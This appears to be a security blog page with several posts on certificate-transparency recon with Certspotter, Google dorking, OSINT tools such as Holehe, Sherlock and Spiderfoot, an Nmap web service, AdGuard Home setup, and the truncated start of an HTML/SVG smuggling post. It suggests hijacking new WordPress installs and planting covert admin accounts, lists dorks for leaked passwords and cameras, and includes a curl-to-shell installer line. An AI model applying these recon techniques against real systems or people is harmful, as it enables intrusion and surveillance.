Our adventure began with an introduction to Certspotter, the pioneer in certificate transparency log monitoring. We dissected the significance of passive reconnaissance, emphasizing its discreet nature compared to active methods. With Certspotter, we learned how to continuously monitor for new subdomains and certificate registrations, all at minimal cost.

From envisioning scenarios of seizing control over freshly set up WordPress sites to stealthily infiltrating default credentials in Grafana or Jenkins installations, the possibilities for mischief are boundless. Armed with our newfound knowledge and toolkit, the next logical step involves automating these processes and integrating them into a centralized system for ongoing monitoring and analysis.

I am working on a Part 3. In the next part I want to combine all the tools to one final script that should be triggered whenever certspotter finds a new certificate:
- run dnsx
- run subfinder and httpx if wildcard else run httpx
- use playwright for screenshot and network traffic
- port scan
- maybe use httpx for path ? Otherwise gobuster Should also run alone based on domain, wildcard or subdomain input.
I want the output to be one final JSON I can then render on my website.
2025-01-06
Certsplotting: Exploiting Certificate Transparency for Mischief – Part 1
Disclaimer:

The information provided on this blog is for educational purposes only. The use of hacking tools discussed here is at your own risk.

For the full disclaimer, please click here.

Introduction

Certspotter stands as the original authority in certificate transparency log monitoring—a mouthful, indeed. Let’s dissect why you, as a hacker, should pay attention to it.

One of your primary maneuvers when targeting a system is reconnaissance, particularly passive reconnaissance. Unlike active reconnaissance, which directly engages the target, passive recon operates discreetly.

Passive recon involves employing tactics that evade triggering any alerts from the target. For instance, conducting a Google search about your target doesn’t tip them off. While technically they might detect someone from your area or country searching for them via Search Console, using a VPN and a private browser can easily circumvent this.

You can even explore their entire website using Google cache (just search for cache:your-target.com) or archive.org without exposing your IP or intentions to them. On the other hand, active recon tends to be more assertive, such as port scanning, which leaves traces in the target’s logs. Depending on their security measures and level of vigilance, they might notice and decide to block you.

If you were to scan my public IP, I’d promptly block you 😃.

But I digress. What if you could continuously and passively monitor your target for new subdomains, project developments, systems, or any other endeavors that require a certificate? Imagine being alerted right as they register it.

Now, you might wonder, “How much will that cost me?” Surprisingly, nothing but the electricity to power your server or whatever charges your cloud provider levies. With Certspotter, you can scrutinize every certificate issued to your target’s domains and subdomains.

What mischief can I stir?

Your mind is probably already concocting schemes, so here’s a scenario to fuel your imagination:

Imagine your target sets up a WordPress site requiring an admin password upon the first visit. You could swoop in ahead of them, seizing control of their server. (Sure, they might reinstall, but it’ll definitely ruffle their feathers 😏).

A bit sneakier? How about adding a covert admin account to a fresh Grafana or Jenkins installation, which might still be using default credentials upon release. Truly, you never know what you might uncover.

Setting up Certspotter

To begin, you’ll need a fresh Debian-based Linux distro. I’ll opt for Kali to simplify later use of other hacking tools. Alternatively, you can choose any Linux distribution to keep your image size compact.

Certspotter

Start by visiting their Certspotter GitHub. I strongly advise thoroughly reading their documentation to acquaint yourself with the tool.

Installation:
Bash
```
go install software.sslmate.com/src/certspotter/cmd/certspotter@latest
```
Next, create directories:
Bash
```
mkdir $HOME/.certspotter
mkdir $HOME/.certspotter/hooks.d # scripts
touch $HOME/.certspotter/watchlist # targets
```
The watchlist file is straightforward:
Bash
```
exploit.to
virus.malware.to
.bmw.de
```
Prefixing a domain with a . signifies monitoring the domain and all its subdomains. Without the prefix, Certspotter will monitor certificates matching the exact domain/subdomain.

I can anticipate your next thought—you want all the logs, don’t you? Since 2013, there have been 7,485,653,605 of them (Source), requiring substantial storage. If you’re undeterred, you’d need to modify this code here and rebuild Certspotter to bypass the watchlist and retrieve everything.

Now, let’s set up the systemd service. Here’s how mine looks:
Bash
```
sudo nano /etc/systemd/system/certspotter.service
```
You’ll need to adjust the paths unless your username is also karl:
Bash
```
[Unit]
Description=Certspotter Service
After=network.target

[Service]
Environment=HOME=/home/karl
Environment=CERTSPOTTER_CONFIG_DIR=/home/karl/.certspotter
Type=simple
ExecStart=/home/karl/go/bin/certspotter -verbose
Restart=always
RestartSec=3

[Install]
WantedBy=multi-user.target
```
Note: I’m currently not utilizing the -start_at_end flag. As a result, my script begins its operation from the initial point and might take a considerable amount of time to detect recently issued certificates. By modifying the line that begins with ExecStart= and adding the -start_at_end parameter to the certspotter command, you instruct the script to disregard previously issued certificates and commence monitoring from the current time onward.

To activate and check if it’s running, run this:
Bash
```
sudo systemctl daemon-reload
sudo systemctl start certspotter
sudo systemctl status certspotter
```
Now let us add a script in hooks.d:
Bash
```
touch $HOME/.certspotter/hooks.d/certspotter.sh
sudo chmod u+x $HOME/.certspotter/hooks.d/certspotter.sh
```
If you have issues with reading ENV, you might have to experiment with the permissions.

In cerstpotter.sh:
Bash
```
#!/bin/bash

if [ -z "$EVENT" ] || [ "$EVENT" != 'discovered_cert' ]; then
    # no event
    exit 0
fi

DNS=$(cut -d "=" -f2 <<< "$SUBJECT_DN")
IP="$(dig "$DNS" A +short | grep -v '\.$' | head -n 1 | tr -d '\n')"
IP6="$(dig "$DNS" AAAA +short | grep -v '\.$' | head -n 1 | tr -d '\n')"

JSON_FILE_DATA=$(cat "$JSON_FILENAME")
dns_names=$(echo "$JSON_FILE_DATA" | jq -r '.dns_names | join("\n")')

JSON_DATA=$(cat <<EOF
{
    "pubkey": "$PUBKEY_SHA256",
    "watch_item": "$WATCH_ITEM",
    "not_before": "$NOT_BEFORE_RFC3339",
    "not_after": "$NOT_AFTER_RFC3339",
    "dns_names": "$dns_names",
    "issuer": "$ISSUER_DN",
    "asn": "$ASN",
    "ipv4": "$IP",
    "ipv6": "$IP6",
    "cn": "$SUBJECT_DN",
    "crt.sh": "https://crt.sh/?sha256=$CERT_SHA256"
}
EOF
)

# post data to br... might do somethign with answer
response=$(curl -s -X POST -H "Content-Type: application/json" \
    -H "Content-Type: application/json" \
    -d "$JSON_DATA" \
    "http://10.102.0.11:8080/api/v1/certspotter/in")
```
You could edit this to your liking. The data should look like this:
JSON
```
{
  "pubkey": "ca4567a91cfe51a2771c14f1462040a71d9b978ded9366fe56bcb990ae25b73d",
  "watch_item": ".google.com",
  "not_before": "2023-11-28T14:30:55Z",
  "not_after": "2024-01-09T14:30:54Z",
  "dns_names": ["*.sandbox.google.com"],
  "isssuer": "C=US, O=Google Trust Services LLC, CN=GTS CA 1C3",
  "asn": "GOOGLE,US",
  "ipv4": "142.250.102.81",
  "ipv6": "2a00:1450:4013:c00::451",
  "cn": "CN=*.sandbox.google.com",
  "crt.sh": "https://crt.sh/?sha256=cb657858d9fb6475f20ed5413d06da261be20951f6f379cbd30fe6f1e2558f01"
}
```
Depending on your target, it will take a while until you see results. Maybe even days.

Summary

In this first part of our exploration into Certspotter, we’ve laid the groundwork for understanding its significance in passive reconnaissance. Certspotter emerges as a pivotal tool in monitoring certificate transparency logs, enabling hackers to gather crucial intelligence without alerting their targets.

We’ve delved into the distinction between passive and active reconnaissance, emphasizing the importance of discreet operations in avoiding detection. Through Certspotter, hackers gain the ability to monitor target domains and subdomains continuously, staying informed about new developments and potential vulnerabilities.

As we conclude Part 1, we’ve only scratched the surface of what Certspotter has to offer. In Part 2, we’ll dive deeper into advanced techniques for leveraging Certspotter’s capabilities, exploring tools to enrich our data and enhance our reconnaissance efforts. Stay tuned for an in-depth exploration of Certspotter’s potential in uncovering valuable insights for hackers.

For Part 2 go this way -> Here
2025-01-06
Master Google Dorking: A Guide for Beginners – Part 1
Disclaimer:

The information provided on this blog is for educational purposes only. The use of hacking tools discussed here is at your own risk.

For the full disclaimer, please click here.

Introduction

Ever found yourself deep in the abyss of the internet, wishing you could uncover more than what’s on the surface? If so, Google Hacking, also known as Google Dorking, might just be your next favorite hobby. This amusing and surprisingly potent skill will turn you into an internet sleuth, uncovering secrets like a digital Sherlock Holmes. By the end of this article, you’ll be ready to create your own Google dorks and impress (or mildly concern) your friends with your newfound abilities.

If you’re interested in OSINT in general you can also check out my other articles:
- OSINT – Dorking with Brave Search
- Tool supported OSINT with Spiderfoot
What is Google Hacking?

Google Hacking , whcih is also called Google Dorking, is the playful art of using Google’s search engine to uncover sensitive information that wasn’t meant for public eyes. From personal data and financial info to website security flaws, Google Hacking can reveal it all. But don’t panic—it’s perfectly legal as long as you don’t misuse the info you stumble upon.

To break it down a bit, Google Hacking isn’t some kind of sorcery. It’s about finding anything that’s been indexed by Google or other major search engines. With the right search queries, you can dig up info that’s not ranking high on Google—often the kind of stuff that wasn’t meant to be easily found. So go ahead, have fun, and happy Googling (responsibly)!

Why the Term “Dorking”?

“Dork” in this context refers to a set of search parameters that expose unprotected information. Think of it as a key that unlocks hidden doors on the internet. The term “dorking” might sound silly, but the results can be pretty serious.

Tools of the Trade

Before we dive into the nitty-gritty, let’s talk about the essential tools and resources you’ll need:
1. Google Advanced Search Operators: These are special commands you can use in Google’s search bar to filter results more precisely. You can find a comprehensive list of these operators on Ahrefs’ blog.
2. Google Hacking Database (GHDB): A treasure trove of pre-made Google dorks. Check out the database on Exploit-DB to see what others have discovered.
3. Alternative Search Engines: Bing, DuckDuckGo, and Startpage also offer advanced search capabilities. Explore their documentation on Bing (and this), DuckDuckGo, and Startpage.
4. OSINT Tools: Tools like Pentest-Tools and IntelTechniques can enhance your search capabilities.
Pro tip: You can use Dorks from Exploit-DB to play around with them and create new dorks focued on your target or niche.

The Basics of Google Dorking

I will focus on Google here as it is the biggest search engine and will usually give you some solid results. Let’s start with some simple Google search operators:
1. site: – Restrict results to a specific website.
  - Example: site:example.com
2. filetype: – Search for specific file types.
  - Example: filetype:pdf
3. inurl: – Find URLs containing specific text.
  - Example: inurl:login
4. intitle: – Search for page titles containing specific text.
  - Example: intitle:index.of
Combining these operators can yield powerful results. For instance, to find login pages on example.com, you could use: site:example.com inurl:login

Let’s do another example searching a webiste for a contact email address (or to send them phishing mails (pls don’t)): "@cancom.de" site:"cancom.de"

Useful dorks to get started

Now for some fun! Here are a few beginner-friendly dorks, please feel free to copy and modify them to your liking:
1. Finding Open Directories:
  - intitle:"index of" "parent directory"
2. Discovering Public Cameras:
  - intitle:"Live View / - AXIS"
3. Uncovering Interesting PDFs:
  - filetype:pdf "confidential"
4. Locating Forgotten Passwords:
  - filetype:log inurl:"password"
Creating Your Own Dorks

Creating your own Google dorks is like cooking a new dish—start with the basics and experiment. Here’s a step-by-step guide:
1. Identify Your Target: Decide what type of information you’re seeking. Is it emails, passwords, or hidden directories?
2. Choose the Right Operators: Based on your target, select appropriate search operators.
  - Example: To find Excel files with passwords, you might use filetype:xls inurl:password.
3. Test and Refine: Enter your dork into Google and see what comes up. Refine your search terms to get more relevant results.
4. Document Your Findings: Keep a record of effective dorks for future reference. You never know when you might need them again!
You can combine many operators to refine your results.

Final Thoughts

Hooray! You’ve officially unlocked the secrets of Google Dorking. Get ready to dive deeper in the next part, where I’ll dish out more details and examples about other search engines and why they’re worth your time too. But before we move on, here are a few ways to flex your new skills:
- Become a Digital Bounty Hunter: Track down elusive individuals like a pro (In the U.S. you can check your states State Trooper website fpr active bounties).
- Debt Detective: Find those who owe you money faster than a speeding algorithm.
- Hack the Planet: Discover websites with vulnerable software
- Doxing – Beyond the usual “it’s illegal” disclaimer, doxing can irreversibly ruin someone’s life. Trust me, no matter how much you dislike someone, you do not want to go down this path.
- Find pirated Software
Stay tuned, because your Google Dorking journey is just getting started!
2025-01-06
Exploring OSINT Tools: From Lightweight to Powerhouse
Disclaimer:

The information provided on this blog is for educational purposes only. The use of hacking tools discussed here is at your own risk.

For the full disclaimer, please click here.

Introduction

Welcome to a journey through the exciting world of Open Source Intelligence (OSINT) tools! In this post, we’ll dive into some valuable tools, from the lightweight to the powerhouse, culminating in the grand reveal of Spiderfoot.

The main star of this post is Spiderfoot, but before we get there, I want to show you some other more lightweight tools you might find useful.

Holehe

While perusing one of my favorite OSINT blogs (Oh Shint), I stumbled upon a gem to enhance my free OSINT email tool: Holehe.

Holehe might seem like a forgotten relic to some, but its capabilities are enduring. Developed by megadose, this tool packs a punch when it comes to unearthing crucial information.

Sherlock

Ah, Sherlock – an old friend in my toolkit. I’ve relied on this tool for countless investigations, probably on every single one. The ability to swiftly uncover and validate your targets’ online presence is invaluable.

Sherlock’s prowess lies in its efficiency. Developed by Sherlock Project, it’s designed to streamline the process of gathering information, making it a staple for OSINT enthusiasts worldwide.

Introducing Holehe

First up, let’s shine a spotlight on Holehe, a tool that might have slipped under your radar but packs a punch in the OSINT arena.

Easy Installation

Getting Holehe up and running is a breeze. Just follow these simple steps bewlo. I quickly hopped on my Kali test machine and installed it:
Bash
```
git clone https://github.com/megadose/holehe.git
cd holehe/
sudo python3 setup.py install
```
I’d recommend installing it with Docker, but since I reinstall my demo Kali box every few weeks, it doesn’t matter that I globally install a bunch of Python libraries.

Running Holehe

Running Holehe is super simple:
Bash
```
holehe --no-clear --only-used [email protected]
```
I used the --no-clear flag so I can just copy my executed command; otherwise, it clears the terminal. I use the --only-used flag because I only care about pages that my target uses.

Let’s check out the result:
Bash
```
*********************
   [email protected]
*********************
[+] wordpress.com

[+] Email used, [-] Email not used, [x] Rate limit, [!] Error
121 websites checked in 10.16 seconds
Twitter : @palenath
Github : https://github.com/megadose/holehe
For BTC Donations : 1FHDM49QfZX6pJmhjLE5tB2K6CaTLMZpXZ
100%|█████████████████████████████████████████| 121/121 [00:10<00:00, 11.96it/s]
```
Sweet! We have a hit! Holehe checked 121 different pages in 10.16 seconds.

Debugging Holehe

So running the tool without the --only-used flag is, in my opinion, important for debugging. It seems that a lot of pages rate-limited me or are throwing errors. So there is a lot of potential of missed accounts here.
Bash
```
*********************
   [email protected]
*********************
[x] about.me
[-] adobe.com
[-] amazon.com
[x] amocrm.com
[-] any.do
[-] archive.org
[x] forum.blitzortung.org
[x] bluegrassrivals.com
[-] bodybuilding.com
[!] buymeacoffee.com

[+] Email used, [-] Email not used, [x] Rate limit, [!] Error
121 websites checked in 10.22 seconds
```
the list is very long so I removed a lot of the output

Personally, I think that since a lot of that code is 2 years old, many of these pages have become a lot smarter about detecting bots, which is why the rate limit gets reached.

Holehe Deep Dive

Let us look at how Holehe works by analyzing one of the modules. I picked Codepen.

Please check out the code. I added some comments:
Python
```
from holehe.core import *
from holehe.localuseragent import *


async def codepen(email, client, out):
    name = "codepen"
    domain = "codepen.io"
    method = "register"
    frequent_rate_limit = False

    # adding necessary headers for codepen signup request
    headers = {
        "User-Agent": random.choice(ua["browsers"]["chrome"]),
        "Accept": "*/*",
        "Accept-Language": "en,en-US;q=0.5",
        "Referer": "https://codepen.io/accounts/signup/user/free",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": "https://codepen.io",
        "DNT": "1",
        "Connection": "keep-alive",
        "TE": "Trailers",
    }

    # getting the CSRF token for later use, adding it to the headers
    try:
        req = await client.get(
            "https://codepen.io/accounts/signup/user/free", headers=headers
        )
        soup = BeautifulSoup(req.content, features="html.parser")
        token = soup.find(attrs={"name": "csrf-token"}).get("content")
        headers["X-CSRF-Token"] = token
    except Exception:
        out.append(
            {
                "name": name,
                "domain": domain,
                "method": method,
                "frequent_rate_limit": frequent_rate_limit,
                "rateLimit": True,
                "exists": False,
                "emailrecovery": None,
                "phoneNumber": None,
                "others": None,
            }
        )
        return None

    # here is where the supplied email address is added
    data = {"attribute": "email", "value": email, "context": "user"}

    # post request that checks if account exists
    response = await client.post(
        "https://codepen.io/accounts/duplicate_check", headers=headers, data=data
    )

    # checks response for specified text. If email is taken we have a hit
    if "That Email is already taken." in response.text:
        out.append(
            {
                "name": name,
                "domain": domain,
                "method": method,
                "frequent_rate_limit": frequent_rate_limit,
                "rateLimit": False,
                "exists": True,
                "emailrecovery": None,
                "phoneNumber": None,
                "others": None,
            }
        )
    else:
        # we land here if email is not taken, meaning no account on codepen
        out.append(
            {
                "name": name,
                "domain": domain,
                "method": method,
                "frequent_rate_limit": frequent_rate_limit,
                "rateLimit": False,
                "exists": False,
                "emailrecovery": None,
                "phoneNumber": None,
                "others": None,
            }
        )
```
The developer of Holehe had to do a lot of digging. They had to manually analyze the signup flow of a bunch of different pages to build these modules. You can easily do this by using a tool like OWASP ZAP or Burp Suite or Postman. It is a lot of manual work, though.

The issue is that flows like this often change. If Codepen changed the response message or format, this code would fail. That’s the general problem with building web scrapers. If a header name or HTML element is changed, the code fails. This sort of code is very hard to maintain. I am guessing it is why this project has been more or less abandoned.

Nonetheless, you could easily fix the modules, and this would work perfectly again. I suggest using Python Playwright for the requests; using a headless browser is harder to detect and will probably lead to higher success.

Sherlock

Let me introduce you to another tool called Sherlock, which I’ve frequently used in investigations.

Installation

I’m just going to install it on my test system. But there’s also a Docker image I’d recommend for a production server:
Bash
```
git clone https://github.com/sherlock-project/sherlock.git
cd sherlock
python3 -m pip install -r requirements.txt
```
Sherlock offers a plethora of options, and I recommend studying them for your specific case. It’s best used with usernames, but today, we’ll give it a try with an email address.

Running Sherlock

Simply run:
Bash
```
python3 sherlock [email protected]
```
Sherlock takes a little bit longer than holehe, so you need a little more patience. Here are the results of my search:
Bash
```
[*] Checking username [email protected] on:

[+] Archive.org: https://archive.org/details/@[email protected]
[+] BitCoinForum: https://bitcoinforum.com/profile/[email protected]
[+] CGTrader: https://www.cgtrader.com/[email protected]
[+] Chaos: https://chaos.social/@[email protected]
[+] Cults3D: https://cults3d.com/en/users/[email protected]/creations
[+] Euw: https://euw.op.gg/summoner/[email protected]
[+] Mapify: https://mapify.travel/[email protected]
[+] NationStates Nation: https://nationstates.net/[email protected]
[+] NationStates Region: https://nationstates.net/[email protected]
[+] Oracle Community: https://community.oracle.com/people/[email protected]
[+] Polymart: https://polymart.org/user/[email protected]
[+] Slides: https://slides.com/[email protected]
[+] Trello: https://trello.com/[email protected]
[+] chaos.social: https://chaos.social/@[email protected]
[+] mastodon.cloud: https://mastodon.cloud/@[email protected]
[+] mastodon.social: https://mastodon.social/@[email protected]
[+] mastodon.xyz: https://mastodon.xyz/@[email protected]
[+] mstdn.io: https://mstdn.io/@[email protected]
[+] social.tchncs.de: https://social.tchncs.de/@[email protected]

[*] Search completed with 19 results
```
At first glance, there are a lot more results. However, upon review, only 2 were valid, which is still good considering this tool is normally not used for email addresses.

Sherlock Deep Dive

Sherlock has a really nice JSON file that can easily be edited to add or remove old tools. You can check it out sherlock/resources/data.json.

This makes it a lot easier to maintain. I use the same approach for my OSINT tools here on this website.

This is what one of Sherlock’s modules looks like:
JSON
```
  "Docker Hub": {
    "errorType": "status_code",
    "url": "https://hub.docker.com/u/{}/",
    "urlMain": "https://hub.docker.com/",
    "urlProbe": "https://hub.docker.com/v2/users/{}/",
    "username_claimed": "blue"
  },
```
There’s not much more to it; they basically use these “templates” and test the responses they get from requests sent to the respective endpoints. Sometimes by matching text, sometimes by using regex.

Spiderfoot

Now we get to the star of the show: Spiderfoot. I love Spiderfoot. I use it on every engagement, usually only in Passive mode with just about all the API Keys that are humanly affordable. The only thing I do not like about it is that it actually finds so much information that it takes a while to sort through the data and filter out false positives or irrelevant data. Playing around with the settings can drastically reduce this.

Installation

Spiderfoot is absolutely free and even without API Keys for other services, it finds a mind-boggling amount of information. It has saved me countless hours on people investigations, you would not believe it.

You can find the installation instructions on the Spiderfoot GitHub page. There are also Docker deployments available for this. In my case, it is already pre-installed on Kali, so I just need to start it.
Bash
```
spiderfoot -l 0.0.0.0:8081
```
This starts the Spiderfoot webserver, and I can reach it from my network on the IP of my Kali machine on port 8081. In my case, that would be http://10.102.0.11:8081/.

After you navigate to the address, you will be greeted with this screen:

I run a headless Kali, so I just SSH into my Kali “server.” If you are following along, you can simply run spiderfoot -l 127.0.0.1:8081 and only expose it on localhost, then browse there on your Kali Desktop.

Running Spiderfoot

Spiderfoot is absolutely killer when you add as many of the API Keys as possible. A lot of them are for free. Just export the Spiderfoot.cfg from the settings page, fill in the keys, then import them.

Important: before you begin, check the settings. Things like port scans are enabled by default. Your target will know you are scanning them. By default, this is not a passive recon tool like the others. You can disable them OR just run Spiderfoot in Passive mode when you configure a new scan.

My initial scan did not find many infos, that’s good. The email address I supplied should be absolutely clean. I did want to show you some results, so I started another search with my karlcom.de domain, which is my consulting company.

By the time the scan was done, it had found over 2000 results linking Karlcom to Exploit and a bunch of other businesses and websites I run. It found my clear name and a whole bunch of other interesting information about what I do on the internet and how things are connected. All that just by putting my domain in without ANY API keys. That is absolutely nuts.

You get a nice little correlation report at the end (you do not really need to see all the things in detail here):

Once you start your own Spiderfoot journey, you will have more than enough time to study the results there and see them as big as you like.

Another thing I did not show you was the “Browse” option. While a scan is running, you can view the results in the web front end and already check for possible other attack vectors or information.

Summary

So, what did we accomplish on our OSINT adventure? We took a spin through some seriously cool tools! From the nifty Holehe to the trusty Sherlock and the mighty Spiderfoot, each tool brings its own flair to the table. Whether you’re sniffing out secrets or just poking around online, these tools have your back. With their easy setups and powerful features, Holehe, Sherlock, and Spiderfoot are like the trusty sidekicks you never knew you needed in the digital world.

Keep exploring, stay curious, and until next time!
2025-01-06
Node-RED, building Nmap as a Service
Introduction

In the realm of cybersecurity, automation is not just a convenience but a necessity. Having a tool that can effortlessly construct endpoints and interconnect various security tools can revolutionize your workflow. Today, I’m excited to introduce you to Node-RED, a powerhouse for such tasks.

This is part of a series of hacking tools automated with Node-RED.

Setup

While diving into the intricacies of setting up a Kali VM with Node-RED is beyond the scope of this blog post, I’ll offer some guidance to get you started.

Base OS

To begin, you’ll need a solid foundation, which is where Kali Linux comes into play. Whether you opt for a virtual machine setup or use it as the primary operating system for your Raspberry Pi, the choice is yours.
- Download Kali Linux: Get it here
Running Node-RED

Once you’ve got Kali Linux up and running, the next step is to install Node-RED directly onto your machine, NOT in a Docker container since you will ned root access to the host system. Follow the installation guide provided by the Node-RED team.
- Node-RED Installation: Guide here
To ensure seamless operation, I highly recommend configuring Node-RED to start automatically at boot. One effective method to achieve this is by utilizing PM2.
- Starting Node-RED at Boot with PM2: Instructions here
By following these steps, you’ll have Node-RED set up and ready to streamline your cybersecurity automation tasks.

Nmap as a Service

In this section, we’ll create a web service that executes Nmap scans, accessible via a URL like so: http://10.10.0.11:8080/api/v1/nmap?target=exploit.to (Note: Your IP, port, and target will differ).

Building the Flow

To construct this service, we’ll need to assemble the following nodes:
- HTTP In
- Function
- Exec
- Template
- HTTP Response
That’s all it takes.

You can define any path you prefer for the HTTP In node. In my setup, it’s /api/v1/nmap.

The function node contains the following JavaScript code:
JavaScript
```
msg.scan_options = "-sS -Pn -T3";
msg.scan_target = msg.payload.target;

msg.payload = msg.scan_options + " " + msg.scan_target;
return msg;
```
It’s worth noting that this scan needs to be run as a root user due to the -sS flag (learn more here). The msg.payload.target parameter holds the ?target= value. While in production, it’s crucial to filter and validate input (e.g., domain or IP), for local testing, it suffices.

The Exec node is straightforward:

It simply executes Nmap and appends the msg.payload from the previous function node. So, in this example, it results in:
Bash
```
nmap -sS -Pn -T3 exploit.to
```
The Template node formats the result for web display using Mustache syntax:
```
<pre>
{{payload}}
</pre>
```
Finally, the HTTP Response node sends the raw Nmap output back to the browser. It’s important to note that this setup isn’t suitable for extensive Nmap scans that take a while, as the browser may timeout while waiting for the response to load.

You now have a basic Nmap as a Service.

TODO

You can go anywhere from here, but I would suggest:
- add validation to the endpoint
- add features to supply custom nmap flags
- stream result to browser via websocket
- save output to database or file and poll another endpoint to check if done
- format output for web (either greppable nmap or xml)
- ChatOps (Discord, Telegram bot)
Edit 1:

I ended up adding validation for domain and IPv4. I also modified the target variable. It is now msg.target vs. msg.payload.target.
JavaScript
```
function validateDomain(domain) {
  var domainRegex = /^(?!:<strong>\/\/</strong>)([a-zA-Z0-9-]+<strong>\.</strong>)+[a-zA-Z]{2,}$/;
  return domainRegex.test(domain);
}

function validateIPv4(ipv4) {
  var ipv4Regex =
    /^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)<strong>\.</strong>(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)<strong>\.</strong>(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)<strong>\.</strong>(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;
  return ipv4Regex.test(ipv4);
}

if (validateDomain(msg.payload.target) || validateIPv4(msg.payload.target)) {
  msg.passed = true;
  msg.target = msg.payload.target;
  return msg;
}

msg.passed = false;
return msg;
```
The flow now looks like this, and checks the msg.passed. If it is false then it returns a HTTP 400 Bad Request, else it starts the Nmap scan.
2025-01-06
AdGuard Home for security and blocking ads
Introduction

In today’s digital age, the internet is saturated with advertisements and trackers, leading to slower browsing speeds and potential security threats. To combat these issues, leveraging AdGuard Home as a central ad blocker provides several key benefits, such as improved security and faster internet speeds. While browser plugins like “uBlock Origin” offer protection for individual devices within specific browsers, they fall short in safeguarding all devices, particularly those without browser support, such as IoT devices.

Enhanced Security

AdGuard Home blocks intrusive ads and potentially harmful websites before they even reach your devices. By filtering out malicious content, AdGuard Home significantly reduces the risk of malware infections and phishing attacks, safeguarding your personal information and sensitive data.

Protecting Privacy

Ads often come bundled with tracking scripts that monitor your online behavior, compromising your privacy. With AdGuard Home, you can prevent these trackers from collecting your data, preserving your anonymity and preventing targeted advertising based on your browsing habits.

Faster Internet Speeds

Advertisements consume valuable bandwidth and resources, leading to slower loading times and sluggish internet performance. By eliminating ads and unnecessary tracking requests, AdGuard Home helps optimize your network’s efficiency, resulting in faster page loading speeds and smoother browsing experiences.

Open-Source and Transparent

AdGuard Home is open-source software, meaning its source code is freely available for scrutiny and verification by the community. This transparency fosters trust and ensures that the software operates with integrity, free from hidden agendas or backdoors.

Hosting AdGuard Home

Now that you understand why you would want a central adblocker in your home network let’s get started in setting it up.

First you need to decide if you want to host locally or in the cloud.

Hosting locally:

Benefits:
- easier setup
- more secure
- private
Drawbacks:
- need a server
Cloud hosting:

Benefits:
- no local server
- better uptime
Drawbacks:
- more setup for same privacy and security
Since DNS is not encrypted, like HTTPS for example, the cloud provider will most likely be able to see you DNS queries. You will need to use DNS-over-TLS or DNS-over-HTTPS. In a home network it is usually okay to use regular DNS, because AdGuard Home itself uses DNS-over-*S resolvers to get the final address. An example of Cloudflare’s resolvers
```
https://dns.cloudflare.com/dns-query
tls://1dot1dot1dot1.cloudflare-dns.com
https://security.cloudflare-dns.com/dns-query
tls://security.cloudflare-dns.com
```
the regular DNS server would be 1.1.1.1

Local Setup

Depending on your setup, you might already have a server, Home Assistant, pfSesne firewall or nothing at all. I am going to assume you do not have any of the above. So first of all you will need to repuporse an old PC or somethign like a Raspberry Pi (which i highly recommend, i own 7).

I have personally run AdGuard Home in a reasoably sized home network on a Raspberry Pi Zero W. I recommend a bigger one, but if you’re on a really tight budget, that is probably your best bet.

Once you have a machine and it is running a Linux distribution of your choice, you now can install AdGuard Home either in a Container or directly.

Adguard already has a pretty good documentation you can find here, i will shortly show you the 2 options:

Docker

Firstly you need to install Docker. Once you did this, all that is left to do is basically just run:
```
docker run --name adguardhome\
    --restart unless-stopped\
    -v ./work:/opt/adguardhome/work\
    -v ./conf:/opt/adguardhome/conf\
    -p 53:53/tcp -p 53:53/udp\
    -p 67:67/udp -p 68:68/udp\
    -p 80:80/tcp -p 443:443/tcp -p 443:443/udp -p 3000:3000/tcp\
    -p 853:853/tcp\
    -p 784:784/udp -p 853:853/udp -p 8853:8853/udp\
    -p 5443:5443/tcp -p 5443:5443/udp\
    -d adguard/adguardhome
```
and that is it. Now you can go to http://[YOUR-IP]:3000 and follow the steps.

Direct

Installing directly is just as simple:
```
curl -s -S -L https://raw.githubusercontent.com/AdguardTeam/AdGuardHome/master/scripts/install.sh | sh -s -- -v
```
That is it. You might have to copy the start command which will be shown in your terminal before you can set up your AdGuard in the browser.

Web UI

The steps for AdGuard in the Web UI are self explanatory so I did not go into detail here. You are basically good to go. I recommend 2 things:

Go to Filters > DNS blocklists, then click on “Add blocklist” and select every Security list. I have also enabled all the “General” blocklists and not trouble.

Go to Settings > DNS settings, I have the following upstream DNS server:
```
quic://dns.adguard-dns.com
# SWITCH
https://dns.switch.ch/dns-query
tls://dns.switch.ch
# quad9
tls://dns.quad9.net
# cloudflare
https://dns.cloudflare.com/dns-query
tls://1dot1dot1dot1.cloudflare-dns.com
https://security.cloudflare-dns.com/dns-query
tls://security.cloudflare-dns.com
```
Router Configuration

I think most of the readers will have a Fritz!Box so this is what I will show here. The setup is probably very similar on your router. You basically just have to edit the DNS server settings in your router.

Fritz!Box

I did not show you my DNS Server IP by mistake. Scroll to the end to find out why. 9.9.9.9 is the Quad9 DNS Server, I use this in case my AdGuard goes down, otherwise I would not be able to browse the web.

Bonus

You are welcome to use my public AdGuard Home instance at 130.61.74.147, just enter it into your router. Please be advised that i will be able to see you DNS logs, which means I would know what you do on the internet… I do not care to be honest so you are free to make your own choice here.
2025-01-06
Unveiling HTML and SVG Smuggling
Disclaimer:

The information provided on this blog is for educational purposes only. The use of hacking tools discussed here is at your own risk.

For the full disclaimer, please click here.

Introduction

Welcome to the world of cybersecurity, where adversaries are always one step ahead, cooking up new ways to slip past our defenses. One technique that’s been causing quite a stir among hackers is HTML and SVG smuggling. It’s like hiding a wolf in sheep’s clothing—using innocent-looking files to sneak in malicious payloads without raising any alarms.

Understanding the Technique

HTML and SVG smuggling is all about exploiting the blind trust we place in web content. We see HTML and SVG files as harmless buddies, used for building web pages and creating graphics. But little do we know, cybercriminals are using them as Trojan horses, hiding their nasty surprises inside these seemingly friendly files.

How It Works

So, how does this digital sleight of hand work? Well, it’s all about embedding malicious scripts or payloads into HTML or SVG files. Once these files are dressed up and ready to go, they’re hosted on legitimate websites or sent through seemingly harmless channels like email attachments. And just like that, attackers slip past our defenses, like ninjas in the night.

Evading Perimeter Protections

Forget about traditional attack methods that rely on obvious malware signatures or executable files. HTML and SVG smuggling flies under the radar of many perimeter defenses. By camouflaging their malicious payloads within innocent-looking web content, attackers can stroll right past firewalls, intrusion detection systems (IDS), and other security guards without breaking a sweat.

Implications for Security

